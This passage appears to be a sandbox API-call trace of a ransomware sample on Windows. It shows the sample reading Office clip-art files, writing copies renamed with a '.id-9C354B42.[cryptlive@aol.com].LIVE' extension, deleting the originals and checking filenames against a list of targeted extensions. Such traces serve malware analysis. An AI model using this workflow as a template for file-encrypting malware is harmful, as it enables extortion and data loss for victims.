Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.554] GetLastError () returned 0x0 [0135.555] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0135.559] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0135.561] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.561] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.561] SetEndOfFile (hFile=0x38c) returned 1 [0135.561] CloseHandle (hObject=0x38c) returned 1 [0135.561] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.561] SetEndOfFile (hFile=0x350) returned 1 [0135.564] CloseHandle (hObject=0x350) returned 1 [0135.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0135.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.602] lstrlenW (lpString=".doc") returned 4 [0135.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.602] lstrlenW (lpString=".docx") returned 5 [0135.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.602] lstrlenW (lpString=".pdf") returned 4 [0135.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.602] lstrlenW (lpString=".xls") returned 4 [0135.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.602] lstrlenW (lpString=".xlsx") returned 5 [0135.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.602] lstrlenW (lpString=".ppt") returned 4 [0135.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.602] lstrlenW (lpString=".zip") returned 4 [0135.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.602] lstrlenW (lpString=".rar") returned 4 [0135.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.602] lstrlenW (lpString=".bz2") returned 4 [0135.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString=".7z") returned 3 [0135.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString=".dbf") returned 4 [0135.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString=".1cd") returned 4 [0135.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString=".jpg") returned 4 [0135.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString=".doc") returned 4 [0135.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString=".docx") returned 5 [0135.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.603] lstrlenW (lpString=".pdf") returned 4 [0135.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString=".xls") returned 4 [0135.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.603] lstrlenW (lpString=".xlsx") returned 5 [0135.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.603] lstrlenW (lpString=".ppt") returned 4 [0135.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.603] lstrlenW (lpString=".zip") returned 4 [0135.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.603] lstrlenW (lpString=".rar") returned 4 [0135.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString=".bz2") returned 4 [0135.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.603] lstrlenW (lpString=".7z") returned 3 [0135.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.604] lstrlenW (lpString=".dbf") returned 4 [0135.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.604] lstrlenW (lpString=".1cd") returned 4 [0135.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0135.604] lstrlenW (lpString=".jpg") returned 4 [0135.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.604] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.604] lstrlenW (lpString="BD08868_.WMF") returned 12 [0135.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.604] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=40206) returned 1 [0135.605] CloseHandle (hObject=0x390) returned 1 [0135.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0135.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.605] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.605] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0135.606] GetLastError () returned 0x0 [0135.606] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0135.616] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0135.618] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.618] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.618] SetEndOfFile (hFile=0x3a4) returned 1 [0135.811] CloseHandle (hObject=0x3a4) returned 1 [0135.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.816] SetEndOfFile (hFile=0x390) returned 1 [0135.820] CloseHandle (hObject=0x390) returned 1 [0135.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0135.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.822] lstrlenW (lpString=".doc") returned 4 [0135.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.822] lstrlenW (lpString=".docx") returned 5 [0135.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.822] lstrlenW (lpString=".pdf") returned 4 [0135.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.822] lstrlenW (lpString=".xls") returned 4 [0135.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.822] lstrlenW (lpString=".xlsx") returned 5 [0135.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.822] lstrlenW (lpString=".ppt") returned 4 [0135.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.822] lstrlenW (lpString=".zip") returned 4 [0135.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.822] lstrlenW (lpString=".rar") returned 4 [0135.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString=".bz2") returned 4 [0135.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString=".7z") returned 3 [0135.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.823] lstrlenW (lpString=".dbf") returned 4 [0135.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.823] lstrlenW (lpString=".1cd") returned 4 [0135.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.823] lstrlenW (lpString=".jpg") returned 4 [0135.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.823] lstrlenW (lpString=".doc") returned 4 [0135.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString=".docx") returned 5 [0135.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.823] lstrlenW (lpString=".pdf") returned 4 [0135.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.823] lstrlenW (lpString=".xls") returned 4 [0135.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.823] lstrlenW (lpString=".xlsx") returned 5 [0135.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.823] lstrlenW (lpString=".ppt") returned 4 [0135.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.824] lstrlenW (lpString=".zip") returned 4 [0135.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.824] lstrlenW (lpString=".rar") returned 4 [0135.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.824] lstrlenW (lpString=".bz2") returned 4 [0135.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.824] lstrlenW (lpString=".7z") returned 3 [0135.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.824] lstrlenW (lpString=".dbf") returned 4 [0135.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.824] lstrlenW (lpString=".1cd") returned 4 [0135.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0135.824] lstrlenW (lpString=".jpg") returned 4 [0135.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.824] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.824] lstrlenW (lpString="BD09031_.WMF") returned 12 [0135.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.825] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=47786) returned 1 [0135.825] CloseHandle (hObject=0x390) returned 1 [0135.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0135.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.825] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.826] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.826] GetLastError () returned 0x0 [0135.826] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0135.828] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0135.830] ReadFile (in: hFile=0x390, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.830] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.831] SetEndOfFile (hFile=0x38c) returned 1 [0135.831] CloseHandle (hObject=0x38c) returned 1 [0135.831] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.831] SetEndOfFile (hFile=0x390) returned 1 [0135.835] CloseHandle (hObject=0x390) returned 1 [0135.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0135.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.836] lstrlenW (lpString=".doc") returned 4 [0135.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.836] lstrlenW (lpString=".docx") returned 5 [0135.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.836] lstrlenW (lpString=".pdf") returned 4 [0135.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.836] lstrlenW (lpString=".xls") returned 4 [0135.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.836] lstrlenW (lpString=".xlsx") returned 5 [0135.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.897] lstrlenW (lpString=".ppt") returned 4 [0135.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.897] lstrlenW (lpString=".zip") returned 4 [0135.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.897] lstrlenW (lpString=".rar") returned 4 [0135.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.897] lstrlenW (lpString=".bz2") returned 4 [0135.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.897] lstrlenW (lpString=".7z") returned 3 [0135.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.897] lstrlenW (lpString=".dbf") returned 4 [0135.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.897] lstrlenW (lpString=".1cd") returned 4 [0135.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.897] lstrlenW (lpString=".jpg") returned 4 [0135.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString=".doc") returned 4 [0135.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString=".docx") returned 5 [0135.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.898] lstrlenW (lpString=".pdf") returned 4 [0135.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString=".xls") returned 4 [0135.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.898] lstrlenW (lpString=".xlsx") returned 5 [0135.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.898] lstrlenW (lpString=".ppt") returned 4 [0135.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString=".zip") returned 4 [0135.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.898] lstrlenW (lpString=".rar") returned 4 [0135.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString=".bz2") returned 4 [0135.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString=".7z") returned 3 [0135.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString=".dbf") returned 4 [0135.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString=".1cd") returned 4 [0135.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0135.898] lstrlenW (lpString=".jpg") returned 4 [0135.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.899] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.899] lstrlenW (lpString="BD09194_.WMF") returned 12 [0135.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0135.941] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14540) returned 1 [0135.941] CloseHandle (hObject=0x3a8) returned 1 [0135.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0135.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0135.942] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.942] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.942] GetLastError () returned 0x0 [0135.942] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0135.998] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, 